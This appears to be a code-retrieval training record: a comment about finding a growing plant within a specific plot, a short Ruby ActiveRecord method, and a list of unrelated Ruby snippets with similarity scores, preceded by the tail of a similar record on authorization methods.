"def authorize_admin\n redirect_to :login unless current_user.permission.manage_app ||\n current_user.permission.manage_attrs ||\n current_user.permission.manage_achievement_categories ||\n current_user.permission.manage_talent_trees ||\n current_user.permission.manage_talents ||\n current_user.permission.manage_quests ||\n current_user.permission.manage_skills ||\n current_user.permission.manage_achievements ||\n current_user.permission.manage_items ||\n current_user.permission.manage_titles\n end",
"def permission_required \n render_403 unless admin? || @user == current_user\n end",
"def authorize!(action, object)\n if can?(action, object)\n true\n else\n raise Kant::AccessDenied, \"You are not permitted to #{action} this record.\"\n end\n end",
"def prepare_permissions\n if current_ability.admin?\n else\n # Need to add admin group to current_ability\n # or presenter will not be accessible.\n current_ability.user_groups << \"admin\"\n if presenter.tombstone.present? \n else\n current_ability.user_groups.delete(\"admin\")\n end\n end\n end",
"def authorize( credentials, request, perms )\n\t\treturn true if perms.empty?\n\t\tself.require_authorization\n\tend",
"def permission_required \n render_403 unless admin? || @item.is_editable_by?(current_user)\n end",
"def check_permissions!(*which)\n Razor.config['auth.enabled'] and user.check_permissions(*which)\n true\n end",
"def can_create\n raise ActionController::RoutingError 'Forbidden' if current_user.nil? || cannot?(:write, :posts)\n true\n end",
"def can_modify_guidance?\n perms.include? Perm.modify_guidance\n end",
"def can_modify_guidance?\n perms.include? Perm.modify_guidance\n end",
"def can(action, resource, options={})\n before do\n ability.can action, resource, options\n end\n end",
"def create\n success = false;\n error = \"Resource not available.\"\n permissions = nil\n\n if params.key?(:project_id) and params.key?(:permissions)\n project = Project.find_by(id: params[:project_id])\n target_user = nil\n user_needs_placeholder = false\n\n if params[:permissions].key?(:user_id)\n target_user = User.find_by(id: params[:permissions][:user_id])\n elsif params[:permissions].key?(:user_email)\n target_user = User.find_by(email: params[:permissions][:user_email])\n user_needs_placeholder = true unless target_user\n else\n error = \"No user specified.\"\n end\n\n if project and (target_user or user_needs_placeholder)\n\n if target_user and target_user == @current_user\n error = \"User permissions may not be modified.\"\n elsif project and user_can_access_project(project.id, [:can_author])\n\n p = params.require(:permissions).permit(\n :can_author, :can_view, :can_annotate)\n\n ## Decide whether the user_id or user_email field will be used.\n if target_user\n p[:user_id] = target_user.id\n else\n p[:user_email] = params[:permissions][:user_email]\n end\n\n ## Authors get full permissions.\n if get_with_default(p, :can_author, 'false') == 'true'\n p[:can_view] = 'true'\n p[:can_annotate] = 'true'\n ## Annotators get at least viewing and annotation permissions.\n elsif get_with_default(p, :can_annotate, 'false') == 'true'\n p[:can_view] = 'true'\n p[:can_author] = 'false'\n else\n p[:can_view] = 'true'\n p[:can_author] = 'false'\n p[:can_annotate] = 'false'\n end\n\n p[:project_id] = project.id\n\n begin\n permissions = ProjectPermission.create(p)\n rescue\n end\n error = \"Error updating permissions.\" unless permissions\n end\n else\n ## DEBUG\n #error = \"project missing or (target_user missing or user_needs_placeholder false)\"\n end\n else\n ## DEBUG\n #error = \"project_id or permissions missing\"\n end\n\n if permissions\n render json: permissions, serializer: ProjectPermissionSerializer,\n root: \"permissions\"\n else\n render_error error\n end\n end",
"def enforce_new_permissions(opts={})\n enforce_create_permissions(opts)\n end",
"def authorize(*args)\n permissions, _opts = _perform_authorization(*args)\n permissions\n end",
"def authorize!(*args)\n permissions, opts = _perform_authorization(*args)\n throw(:watchman, opts) unless permissions\n permissions\n end",
"def can(*args)\n options = args.extract_options!\n p = expand_aliases(args).collect { |action| [action, options] }\n if @in_role_block\n @perms += p\n else\n @@can_expressions += 1\n return {:can => p }\n end\n end",
"def user_permissions\n if user_signed_in? && (current_user.is_logistics? || current_user.is_clerical? || current_user.is_vendor? || current_user.is_customer?)\n authorize! :edit, Element\n end\n end",
"def can_manage?(*resources)\n self.is_superuser? or (allowed_resources & resources) == resources\n end",
"def build_permissions(perms, other)\n perms.permits! :read\n\n if self == other\n perms.permits! :write\n elsif other.admin?\n perms.permits! :write\n end\n end",
"def permitted?(model_name, requested_flags = 0)\n return false if self.kind != Kind::ROLE\n return true if admin?\n\n p = self.model_permissions.find_by_model(model_name)\n if requested_flags == 0\n p\n else\n p && p.permitted?(requested_flags)\n end\n end",
"def verify_rights\n access_allowed?(controller_action_options) || permission_denied\n end",
"def authorization_required\n\n return true if is_admin?\n\n if !is_me?(@user)\n flash[:notice] = \"You don't have permission to do that.\"\n permission_denied\n false\n end\n end",
"def create?\n @current_user.permission('Donor', :clerk)\n end",
"def can_access?\n allows_current_user_access_to? :access\n end",
"def can!(permission, object = nil)\n assert_permission_not_nil(permission)\n assert_canhaz_object(object)\n object_type = object.nil? ? nil : object.class.to_s\n object_id = object.nil? ? nil : object.id\n perm = self.permissions.build(:permission => permission, :type => object_type, :cobject_id => object_id)\n if perm.valid?\n perm.save\n return true\n end\n self.permissions.delete perm\n perm.destroy\n false\n end",
"def require_permission\n if Goal.find(params[:id]).user != current_user\n redirect_to goals_url, flash: { error: \"You do not have permission to do that.\"}\n end\n end",
"def access_control(object = nil)\n if object.present? && @cur_user.present?\n author = author?\n end\n perm = Permission\n perm.getReq(params[:controller], params[:action], request.request_method)\n redirect t('redirect.denied') unless perm.grant?(user_perm, author)\n end",
"def has_resource_permission()\n resource = resource().find(params[:id])\n unless (current_user.admin? or current_user == resource)\n redirect_to(user_path(current_user), :alert => t(:permission_denied))\n end\n return true\n end",
"def show\n authorize! :create, Administrator\n end",
"def can?(auth, resource_type = :general)\n has_access_to? :access, resource_type, auth\n end",
"def permitted_to! (privilege, options = {} )\n options = {\n :user => Authorization.current_user,\n :object => self\n }.merge(options)\n\nlogger.debug \"Checking for: #{self.class.name}\"\n\n Authorization::Engine.instance.permit!(privilege,\n {:user => options[:user],\n :object => options[:object]})\n end",
"def can? (*perms)\n perms.each {|p| return false if authorize(p).nil?}\n return true\n end",
"def define_global_privileges\n can :read, Project, public_can_view?: true\n can :index, Project\n can :read, Group\n end",
"def allowed_to?(action, context)\n if context\n return true if admin?\n # No action allowed on inactive contexts\n return false unless context.active?\n \n role = role_for_context(context)\n return false unless role\n \n logger.debug { \"Authorizing #{role.id} can #{action.to_s} for #{context.name} a #{context.class} \\n\" }\n role.allowed_to?(action)\n \n #elsif options[:global]\n # # authorize if user has at least one role that has this permission\n # roles = memberships.collect {|m| m.role}.uniq\n # roles.detect {|r| r.allowed_to?(action)}\n else\n false\n end\n end",
"def admin\n #manager\n #include User,CmsRole\n can :manage, :all\n end",
"def can?(action, permissible_object)\n permissible_object.permit?(action, self)\n end",
"def can_admin?(resource)\n scope_name = resource.class.to_s.downcase.pluralize\n self.send(\"adminable_#{scope_name}\").where(\"`permissions`.resource_type = ? AND `permissions`.resource_id = ?\", resource.class.to_s, resource.id).exists?\n end",
"def allow?(principle:, permission:)\n # Check in array order\n ordered_check(principle: principle, permission: permission, owner: owner, group: group)\n end",
"def set_access(*args)\n options = args.extract_options!\n options[:object] ||= Array(@_controller).first.to_s.singularize.to_sym if @_controller.present?\n permissions.add(*args, options)\n end",
"def can_access?(user)\n user == self.user\n end"
] |
[
"0.731167",
"0.7203858",
"0.71161926",
"0.70987016",
"0.70987016",
"0.70865023",
"0.7059912",
"0.7059912",
"0.6979212",
"0.69178873",
"0.68830776",
"0.68830776",
"0.68547183",
"0.68497574",
"0.68102914",
"0.680772",
"0.6783865",
"0.6754158",
"0.6718715",
"0.67101794",
"0.6701175",
"0.66857487",
"0.6679058",
"0.6676417",
"0.6663076",
"0.66609925",
"0.66385746",
"0.6635701",
"0.6630492",
"0.6615866",
"0.6614167",
"0.6587146",
"0.6578274",
"0.6549241",
"0.6531214",
"0.6518723",
"0.6514799",
"0.6514799",
"0.6514799",
"0.64999866",
"0.649793",
"0.6470181",
"0.64612925",
"0.645935",
"0.64541125",
"0.64371294",
"0.6432764",
"0.6430837",
"0.64286745",
"0.6414993",
"0.64039344",
"0.63887966",
"0.63838536",
"0.63746595",
"0.6366672",
"0.6354106",
"0.6353264",
"0.6348033",
"0.63403153",
"0.6334392",
"0.6321796",
"0.6317934",
"0.6297417",
"0.62866837",
"0.6285383",
"0.62849665",
"0.62683284",
"0.6262284",
"0.6255829",
"0.62485075",
"0.62485075",
"0.62432516",
"0.6222842",
"0.62228364",
"0.6221322",
"0.6220283",
"0.62189925",
"0.6213221",
"0.6198731",
"0.61968887",
"0.61949635",
"0.61947095",
"0.61907274",
"0.6185859",
"0.6184927",
"0.61847407",
"0.61779255",
"0.61776036",
"0.6177082",
"0.6171677",
"0.61709523",
"0.61655074",
"0.6158702",
"0.6154661",
"0.61525357",
"0.6150785",
"0.6142739",
"0.6137957",
"0.61266816",
"0.6119079",
"0.61144745"
] |
0.0
|
-1
|
Since there could be the same plant in two plots, we need to find the record only in a certain plot
|
def growing_plant(plot_id)
self.growing_plants.where("growing_plants.plot_id = ?", plot_id).pluck(:id).first
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def external_reference_check(record,row)\n #riferimenti al plot\n plot = Plot.find(:first, :conditions => [\"numero_plot = ? AND deleted = false\", record.cod_plot])\n #se il plot non esiste\n if plot.blank?\n save_error(record,\"Riferimento al Plot\",row)\n #segnalo che c'è stato un errore sulla riga\n session[:row_error] = true\n #e segnalo l'errore sul file\n session[:file_error] = true\n end\n end",
"def hacked(record)\n diff(record.first)\n .first\n .find { |l| grid.any? { |g| l.eql? g } }\n end",
"def file_name_plot_to_plot(record,row)\n #rintraccio il file\n file = ImportFile.find(session[:file_id])\n #numero del plot\n plot_number = /\\d+\\D+(\\d+)[.]\\S*/\n #confronto\n file.file_name =~ plot_number\n #estrapolo il numero del plot\n file_plot = $1\n file_plot = file_plot.to_i\n #se il plot indicato nel nome del file non è uguale a quello contenuto all'interno\n unless file_plot == record.cod_plot\n #salvo l'errore\n save_error(record,\"File name - Plot\",row)\n #segnalo che c'è stato un errore sulla riga\n session[:row_error] = true\n #e segnalo l'errore sul file\n session[:file_error] = true\n end\n end",
"def win_line_with_uniform_markers\n populated_win_lines.select do |line|\n pos1 = squares[line[0]]\n pos2 = squares[line[1]]\n pos3 = squares[line[2]]\n [pos1.marker, pos2.marker, pos3.marker].uniq.length == 1\n end\n end",
"def all_subplot?\n #trovo la campagna aperta\n open_camp = Campagne.find(:first,:conditions => [\"active = true\"])\n #carico il file\n file = ImportFile.find(session[:file_id])\n #memorizzo il numero dei subplot diversi tra loro interni\n num_su_in = Copl.count_by_sql(\"SELECT COUNT(DISTINCT subplot) FROM copl WHERE campagne_id = #{open_camp.id} AND in_out = 1 AND import_num = #{file.import_num} AND file_name_id = #{file.id}\")\n #memorizzo il numero dei subplot diversi tra loro esterni\n num_su_out = Copl.count_by_sql(\"SELECT COUNT(DISTINCT subplot) FROM copl WHERE campagne_id = #{open_camp.id} AND in_out = 2 AND import_num = #{file.import_num} AND file_name_id = #{file.id}\")\n\n #se i subplot interni non sono 12\n if num_su_in != 12\n #segnalo l'errore\n global_error(\"Mancano alcuni subplot interni\",file)\n end\n #se i subplot esterni non sono 12\n if num_su_out != 12\n #segnalo l'errore\n global_error(\"Mancano alcuni subplot esterni\",file)\n end\n end",
"def uniquely_identified_by_any_peptides?\n unique_spectra > 0\n end",
"def subplots_featuring player\n result = []\n subplots.each { |s|\n result.push s if s.players.include?(player)\n }\n result\n end",
"def winning_marker # iterate through winning lines, and see if square\n # in each 3 elements in 'line' array match the human marker\n # or computer marker, if so return that marker, if no match return nil\n WINNING_LINES.each do |line|\n # line is 3 element arr representing winning line\n squares = @squares.values_at(*line)\n if three_identical_markers?(squares)\n return squares.first.marker\n end\n end\n nil # if we dno't put this, then .each will return array\n end",
"def gene_merge_validation\n\n plot_matched_regions(@filename)\n slope = plot_2d_start_from(@filename)\n\n end",
"def winning_marker\n WINNING_LINES.each do |line|\n squares = @squares.values_at(*line)\n if three_identical_markers?(squares)\n return squares.first.marker\n end\n end\n nil\n end",
"def winning_marker\n WINNING_LINES.each do |line|\n squares = @squares.values_at(*line)\n if three_identical_markers?(squares)\n return squares.first.marker\n end\n end\n nil\n end",
"def winning_marker\n WINNING_LINES.each do |line|\n squares = @squares.values_at(*line)\n if three_identical_markers?(squares)\n return squares.first.marker\n end\n end\n nil\n end",
"def winning_marker\n WINNING_LINES.each do |line|\n squares = @squares.values_at(*line)\n if three_identical_markers?(squares)\n return squares.first.marker\n end\n end\n nil\n end",
"def winning_marker\n WINNING_LINES.each do |line|\n squares = @squares.values_at(*line)\n if three_identical_markers?(squares)\n return squares.first.marker\n end\n end\n nil\n end",
"def winning_marker\n WINNING_LINES.each do |line|\n squares = @squares.values_at(*line)\n if three_identical_markers?(squares)\n return squares.first.marker\n end\n end\n nil\n end",
"def winning_marker\n WINNING_LINES.each do |line|\n squares = @squares.values_at(*line)\n if three_identical_markers?(squares)\n return squares.first.marker\n end\n end\n nil\n end",
"def winning_marker\n WINNING_LINES.each do |line|\n squares = @squares.values_at(*line)\n if three_identical_markers?(squares)\n return squares.first.marker\n end\n end\n nil\n end",
"def winning_marker\n WINNING_LINES.each do |line|\n squares = @squares.values_at(*line)\n if three_identical_markers?(squares)\n return squares.first.marker\n end\n end\n\n nil\n end",
"def winning_marker\n WINNING_COMBOS.each do |line|\n squares = @squares.values_at(*line)\n if three_identical_markers?(squares)\n return squares.first.marker\n end\n end\n nil\n end",
"def unique_record_check(record,row)\n #recupero tutte le info necessarie per memorizzare la chiave primaria\n plot_id = Plot.find(:first,:conditions => [\"numero_plot = ? AND deleted = false\",record.cod_plot]).id\n active_campaign_id = Campagne.find(:first,:conditions => [\"active = true\"]).id\n file = ImportFile.find(session[:file_id])\n #cerco la chiave primaria\n pk = Copl.find(:first,:conditions => [\"campagne_id = ? AND plot_id = ? AND subplot = ? AND in_out = ? AND priest = ? AND file_name_id = ? AND import_num = ?\", active_campaign_id, plot_id, record.subplot, record.in_out, record.priest, file.id, file.import_num])\n #se già è presente\n if pk\n #salvo l'errore\n save_error(record,\"Duplicate row\",row)\n #segnalo che c'è stato un errore sulla riga\n session[:row_error] = true\n #e segnalo l'errore sul file\n session[:file_error] = true\n end\n end",
"def winning_marker\n WINNING_LINES.each do |line|\n squares = @squares.values_at(*line)\n if three_identical_markers?(squares) # => we wish this method existed\n return squares.first.marker # => return the marker, whatever it is\n end\n end\n nil\n end",
"def winning_marker\n WINNING_LINES.each do |line|\n squares = @squares.values_at(*line)\n if three_identical_markers?(squares)\n return squares.first.marker # return the corresponding detected marker\n end\n end\n nil\n end",
"def pick_patients\n $genes = Hash.new {|hash, key| hash[key] = Set.new() }\n $hide_pat = Hash.new {|hash, key| hash[key] = Set.new() }\n $avail_pat = Hash.new {|hash, key| hash[key] = Set.new() }\n\n pick_pat = Set.new($all_avail_pat.keys.sample(($HIDE_PERCENT*$all_avail_pat.size).to_i))\n $all_avail_pat.each_key do |pat|\n if pick_pat.include? pat\n $hide_pat[pat] = $all_avail_pat[pat]\n else\n $avail_pat[pat] = $all_avail_pat[pat]\n $avail_pat[pat].each { |gene| $genes[gene] << pat }\n end\n end\nend",
"def all_paintings\n artist_paintings = Painting.all.select do |painting_ob|\n #binding.pry\n painting_ob.artist == self\n end\n artist_paintings.map do |painting_ob|\n painting_ob.title\n end\nend",
"def winning_marker\n WINNING_LINES.each do |line|\n squares = @squares.values_at(*line)\n if three_identical_markers?(squares) # => we wish this method existed\n return squares.first.marker # => return the marker, whatever it is\n end\n end\n nil\n end",
"def look_for_win\n Game::LINES.each do |winning_line|\n markers = group_positions_by_marker(winning_line)\n if markers[marker].length == 2 and markers.keys.include?(nil)\n puts markers.keys\n choice = markers[nil].first\n return choice\n end\n end\n false\n end",
"def winning_marker\n WINNING_LINES.each do |line|\n squares = @squares.values_at(*line)\n return squares.first.marker if three_identical_markers?(squares)\n end\n nil\n end",
"def patients_in_measure_population_observation\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), ['OBSERV'])\n end.pluck(:_id)\n end",
"def winning_marker\n WINNING_LINES.each do |line|\n squares = @squares.values_at(*line)\n if identical_markers?(3, squares)\n return squares.first.marker\n end\n end\n nil\n end",
"def plot_against e1, e2\n Flot.new('experiment_roc_plot') do |f|\n f.points\n f.grid :hoverable => true\n f.legend :position => \"se\"\n f.yaxis 1\n f.series \"#{e1.title} against #{e2.title}\", e1.aucs_against(e2), :points => {:show => true, :radius => 1.5}\n end\nend",
"def paintings\n Painting.all.find_all do |pi|\n pi.artist == self\n end\n end",
"def paintings\n Painting.all.select{|painting| painting.artist == self}\n end",
"def in_subplot? player\n !subplots_featuring(player).empty?\n end",
"def set_plot\n @plot = Plot.friendly.find(params[:id])\n end",
"def paintings\n Painting.all.select do |p|\n p.artist == self \n end\nend",
"def patients_in_high_value_populations\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), %w[NUMER NUMEX DENEXCEP DENEX])\n end.pluck(:_id)\n end",
"def same_place\n\t\tStrike.where(lat: lat, lon:lon)\n\tend",
"def update\n if current_user_owns_plot\n if params[:plant_id].present?\n @plant = Plant.find(params[:plant_id])\n end\n if params[:new_plot].present?\n @new_plot = Plot.find(params[:new_plot])\n @new_plot.plants << @plant\n end\n unless params[:copy] == 'yes'\n @plot.plants.delete(@plant)\n end\n if params[:name].present?\n @plot.update(plot_params)\n end\n render 'users/show'\n else\n render json: {error: \"You're not authorized to complete this action\"}, status: :unauthorized\n end\n end",
"def paintings\n Painting.all.select do |painting|\n painting.artist == self\n end\n end",
"def paintings\n Painting.all.select do |painting|\n painting.artist == self\n end\n end",
"def patients_in_measure_population_and_greater\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), ['MSRPOPL'])\n end.pluck(:_id)\n end",
"def paintings # Get a list of all the paintings by a specific(keywrod for instance method) artists\n Painting.all.select{|list| list.gallery == self}\n # binding.pry\n end",
"def grid?(record)\n diff(record).any? { |d| d.find { |l| grid.any? { |g| l.eql? g } } }\n end",
"def show\n @reading = Reading.find(params[:reading_id])\n @sample_gp_1 = Sample.where(sample_id: params[:reading_id], :sample_gp => 1 )\n @sample_gp_2 = Sample.where(sample_id: params[:reading_id], :sample_gp => 2 )\n @sample_gp_3 = Sample.where(sample_id: params[:reading_id], :sample_gp => 3 )\n @sample_gp_4 = Sample.where(sample_id: params[:reading_id], :sample_gp => 4 )\n @page_title = \"Input sample data\"\n\n @sample = @reading.samples.build\n label_1 = 0\n @reading_number_label_1 = label_1 + 1\n\n label_2 = 0\n @reading_number_label_2 = label_2 + 1\n\n # Nematodes (Bacteria) (Samples 1-4) Cell B41\n @nematodes_bacteria_last_1 = Sample.where(id: @reading.samples, sample_gp: 1).pluck(:nematodes_bacteria).last\n @nematodes_bacteria_last_2 = Sample.where(id: @reading.samples, sample_gp: 2).pluck(:nematodes_bacteria).last\n @nematodes_bacteria_last_3 = Sample.where(id: @reading.samples, sample_gp: 3).pluck(:nematodes_bacteria).last\n @nematodes_bacteria_last_4 = Sample.where(id: @reading.samples, sample_gp: 4).pluck(:nematodes_bacteria).last \n\n # Nematodes (Fungal) (Samples 1-4) Cell C41\n @nematodes_fungi_last_1 = Sample.where(id: @reading.samples, sample_gp: 1).pluck(:nematodes_fungi).last\n @nematodes_fungi_last_2 = Sample.where(id: @reading.samples, sample_gp: 2).pluck(:nematodes_fungi).last\n @nematodes_fungi_last_3 = Sample.where(id: @reading.samples, sample_gp: 3).pluck(:nematodes_fungi).last\n @nematodes_fungi_last_4 = Sample.where(id: @reading.samples, sample_gp: 4).pluck(:nematodes_fungi).last\n\n # Nematodes (Root) (Samples 1-4) Cell E41\n @nematodes_root_last_1 = Sample.where(id: @reading.samples, sample_gp: 1).pluck(:nematodes_root).last\n @nematodes_root_last_2 = Sample.where(id: @reading.samples, sample_gp: 2).pluck(:nematodes_root).last\n @nematodes_root_last_3 = Sample.where(id: @reading.samples, sample_gp: 3).pluck(:nematodes_root).last\n @nematodes_root_last_4 = Sample.where(id: @reading.samples, sample_gp: 4).pluck(:nematodes_root).last\n\n # Nematodes (Predator) (Samples 1-4) Cell D41\n @nematodes_predator_last_1 = Sample.where(id: @reading.samples, sample_gp: 1).pluck(:nematodes_predator).last\n @nematodes_predator_last_2 = Sample.where(id: @reading.samples, sample_gp: 2).pluck(:nematodes_predator).last\n @nematodes_predator_last_3 = Sample.where(id: @reading.samples, sample_gp: 3).pluck(:nematodes_predator).last\n @nematodes_predator_last_4 = Sample.where(id: @reading.samples, sample_gp: 4).pluck(:nematodes_predator).last\n\n # Nematodes (Dilution) (Samples 1-4) Cell D41\n @nematodes_dilution_last_1 = Sample.where(id: @reading.samples, sample_gp: 1).pluck(:nematodes_dilution).last\n @nematodes_dilution_last_2 = Sample.where(id: @reading.samples, sample_gp: 2).pluck(:nematodes_dilution).last\n @nematodes_dilution_last_3 = Sample.where(id: @reading.samples, sample_gp: 3).pluck(:nematodes_dilution).last\n @nematodes_dilution_last_4 = Sample.where(id: @reading.samples, sample_gp: 4).pluck(:nematodes_dilution).last\n\n # Notes (Samples 1-4)\n @notes_last_1 = Sample.where(id: @reading.samples, sample_gp: 1).pluck(:notes).last\n @notes_last_2 = Sample.where(id: @reading.samples, sample_gp: 2).pluck(:notes).last\n @notes_last_3 = Sample.where(id: @reading.samples, sample_gp: 3).pluck(:notes).last\n @notes_last_4 = Sample.where(id: @reading.samples, sample_gp: 4).pluck(:notes).last\n end",
"def merge_plot(plot)\n plot.keys.each { |key| \n @data[key] << plot.data[key]\n }\n end",
"def find_dupes\n @hathi_report_filtered.find_all.with_index do |row, index|\n row if (row['local_id'] == @hathi_report_filtered.at(index + 1)&.[]('local_id')) || (row['local_id'] == @hathi_report_filtered.at(index - 1)['local_id'])\n end.compact\n end",
"def show\n @variable = Variable.find(params[:id])\n\n # get all the datapoints that have this variable in the set_variable_values\n @dps = DataPoint.exists(\"set_variable_values.#{@variable.id}\" => true)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @variable }\n end\n end",
"def paintings\n Painting.all.select{|painting| painting.artist == self}\n end",
"def show2\n if not check_logged_in then\n return\n end\n\n\n @personal_plant_watering = PersonalPlantWatering.new\n \n @personal_plant = PersonalPlant.find(params[:id])\n @personal_plant_waterings = PersonalPlantWatering.where(:personal_plant_id => @personal_plant[:id])\n \n @back_url = \"/gardens/\"+@personal_plant.garden[:id].to_s\n @back_label = \"Garden\"\n\n @personal_plant_waterings_by_date = {}\n #@personal_plant_waterings_by_date[Time.now().to_date - 2] = [PersonalPlant.new] \n \n waterings_for_date = @personal_plant_waterings\n \n waterings_for_date.each do |watering|\n date = Time.at(watering[:watering_time]).to_date\n\n if @personal_plant_waterings_by_date[date] then\n @personal_plant_waterings_by_date[date] << @personal_plant\n else\n @personal_plant_waterings_by_date[date] = [@personal_plant]\n end\n end\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personal_plant }\n end\n end",
"def find_duplicates\r\n @dmds = @lists.last\r\n end",
"def verify_band_match ops_by_row\n verify_data = {}\n\n ops_by_row.each do |row, ops|\n verify_row = show do\n title \"Row #{row.to_i + 1}: verify that each lane matches expected size\"\n note \"Bring up the relevant gel image on QiAxcel by navigating to \\\"analyze\\\" and dragging the correctly named file from the left sidebar into the center.\"\n note \"Look at the gel image, and match bands with the lengths listed on the side of the gel image.\"\n note \"For more accurate values, select each well under \\\"analyze\\\" -> \\\"electropherogram\\\" to see peaks for fragments found with labeled lengths.\"\n note \"Select No if there is no band or band does not match expected size,\n select N/A if expected length is N/A and there is a band.\"\n \n ops.each do |op|\n if op.get(EXPECTED_LENGTH).nil?\n (op.input('PCR').sample_type.name == 'Fragment') ? expected_length = op.input(\"PCR\").sample.properties['Length'] : expected_length = op.input(\"PCR\").sample.properties[\"QC_length\"]\n else\n expected_length = op.get(EXPECTED_LENGTH)\n end\n select [\"Yes\", \"No\",\"N/A\"], \n var: \"verify[#{row.to_i}][#{op.get(:qc_column)}]\", \n label: \"Does gel lane in column #{op.get(:qc_column) + 1} match the expected length of #{expected_length} bp?\"\n end\n end\n verify_data[row.to_i] = verify_row\n end\n\n #associate results with operations.\n operations.select { |op| op.input(\"PCR\").sample_type.name != 'Plasmid' }.select {|op| op.input(\"PCR\").sample_type.name != 'Fragment'}.each do |op|\n plate = Item.find_by_id(op.plan.get(:plate).to_i) if op.plan.get(:plate)\n col = op.get(:qc_column)\n row = op.get(:qc_row)\n band_match = verify_data[row][\"verify[#{row}][#{col}]\".to_sym]\n sample_id = op.input(\"PCR\").sample.id\n qc_answer = FieldValue.where(parent_id: sample_id, parent_class: \"Sample\", name: \"Has this strain passed QC?\").first\n \n if !debug # testing mode fails for this section\n if qc_answer.nil?\n raise \"invalid qc answer for sample #{sample_id} of operation #{op.id}\"\n end\n \n if band_match == \"Yes\"\n op.plan.associate \"qc_result_#{sample_id}_column_#{col + 1}\", \"Your QC result was correct. Woohoo!\"\n qc_answer.value = \"Yes\"\n qc_answer.save \n elsif band_match == \"N/A\"\n op.error :qc_result, \"Your QC result was inconclusive. Please input a QC length.\"\n elsif band_match == \"No\"\n op.plan.associate \"qc_result_#{sample_id}_column_#{col + 1}\", \"Your QC result was incorrect. Oh no.\"\n if qc_answer.value != \"Yes\" \n qc_answer.value = \"No\"\n qc_answer.save\n end\n op.error :bad_qc, \"Sorry, you don't want to use this colony.\"\n else\n # probably verify_data hash is not getting built up correctly. Should never enter this branch\n raise \"invalid band match answer for #{sample_id} of operation #{op.id} in column #{col}\"\n end\n end\n end\n\n # Confirm operations with good results\n operations.select { |op| verify_data[op.get(:qc_row)][\"verify[#{op.get(:qc_row)}][#{op.get(:qc_column)}]\".to_sym] == \"Yes\" }.make\n end",
"def paintings\n Painting.all.select do |painting_instance|\n painting_instance.artist == self\n end\n end",
"def unique_position\n zHere = Zone.find( :first, :select => \"id\", :conditions => [\"x = ? AND y = ? AND id != ?\", x, y, id])\n #:conditions => { :x => x, :y => y, :id !=> id } )\n\n #errors.add( :x, 'Duplicate zone at position.' ) if zHere.size > 0\n #errors.add( :y, 'Duplicate zone at position.' ) if zHere.size > 0\n\n if zHere and zHere.size() > 0 and zHere[0] then\n errors.add( zHere[0].id, 'Duplicate zone at id.' )\n end\n end",
"def all_my_paintings\n Painting.all.select{|picture| picture.artist == self}\n end",
"def show\n @positions = Position.where(patient_id: @patient.id)\n @reports = Report.where(patient_id: @patient.id)\n end",
"def xy_record() @records.get(GRT_XY); end",
"def check_duplicate_shelfmark\n @dups = ItemsLibraryLocation.find(:all, \n :conditions => [ \"shelfmark = ? AND item_id != ?\", \n params[:search], params[:item_id].blank? ? \"-1\" : params[:item_id] ])\n render :inline => \"<%= @dups.length>0 ? '<div class=''warn''>Warning: shelfmark already in use.</div>' : '' %>\"\n end",
"def paintings\n Painting.all.select {|painting| painting.artist == self}\n end",
"def paintings\n Painting.all.select {|painting| painting.artist == self}\n end",
"def paintings\n Painting.all.select {|painting| painting.artist == self}\n end",
"def paintings\n Painting.all.select{|painting_instance| painting_instance.artist == self}\n end",
"def paintings()\n Painting.all.select { | painting | painting.artist == self }\n end",
"def winning_marker\n WINNING_LINES.each do |line|\n squares = @squares.values_at(*line)\n markers = squares.map(&:marker)\n return markers[0] if markers.uniq.size == 1 && squares[0].marked?\n end\n nil\n end",
"def paintings\n Painting.all.select do |painting|\n painting.gallery == self\n end\n end",
"def galleries\n self.paintings.map{|painitng| painitng.gallery}.uniq\n end",
"def photographs_taken_by_artists_from(country)\n country_by_artist = @artists.find_all do |artist|\n artists.first[:country] == country\n end\n @photographs.find_all do |photos|\n photos[:id] == country_by_artist[:id]\n end\n # require 'pry'; binding.pry\n end",
"def part2(grid)\n grid.non_overlapping.id\nend",
"def graph_report\n @header = session[:tool1]\n @product = Product.find_by_id(params[:product_id])\n @array = []\n params[:value].each_with_index do |(key,val),index|\n if session[:tool1]['regions'] == key\n name = \"#{key}(Bench Mark)\"\n a = {name: name, y: val[:percentage].to_f.round(2), drilldown: key}\n @array[0] = a\n else\n session[:tool1]['bench_region'].each_with_index do |value, index| \n index = index + 1\n if value == key\n a = {name: key, y: val[:percentage].to_f.round(2), drilldown: key}\n @array[index] = a\n end\n end\n end\n \n end\n\n end",
"def show\n x = @plot.user.x\n y = @plot.user.y\n puts x\n puts y\n \n end",
"def patient_in_numerator\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), ['NUMER'])\n end.pluck(:_id)\n end",
"def plot_pheno_avg?\n make_plot = false\n @groups.each do |g|\n if g.has_pheno_avg?\n make_plot = true\n break\n end\n end\n return make_plot\n end",
"def pick_test_set\n $all_avail_genes = deep_copy_hash $all_genes\n $all_avail_pat = deep_copy_hash $all_pat\n \n # randomly withhold 10% of the patients\n $HIDE_PERCENT = 0.1\n pick_patients\n \n # use the remaining 90% for range alpha runs\n $all_avail_genes = deep_copy_hash $genes\n $all_avail_pat = deep_copy_hash $avail_pat\n $test_pat = deep_copy_hash $hide_pat\n \n # next hide 20% for validation set\n $HIDE_PERCENT = 0.2\nend",
"def shape_at_location(x, y)\n expanded_shapes.reverse.detect {|shape| shape.include?(x, y)}\n end",
"def showings\n Showing.all.select do |showing|\n showing.theater == self\n end\n end",
"def show\n @other_reports = Report.where(yelp_business_id: @report.spot.yelp_business_id)\n end",
"def validation_test\n\n plot_matched_regions(@filename)\n slope = plot_2d_start_from(@filename)\n GeneMergeValidationOutput.new(slope)\n\n end",
"def show\n \t@recordings = Recording.where(surah_id: @surah.id, user_id: current_user.id)\n end",
"def winning_marker\n WINNING_LINES.each do |line|\n line_markers = squares.values_at(*line).map(&:marker)\n next if line_markers.include?(Square::INITIAL_MARKER)\n return line_markers.first if line_markers.uniq.size == 1\n end\n\n nil\n end",
"def set_plot\n @plot = Plot.find(params[:id])\n end",
"def set_plot\n @plot = Plot.find(params[:id])\n end",
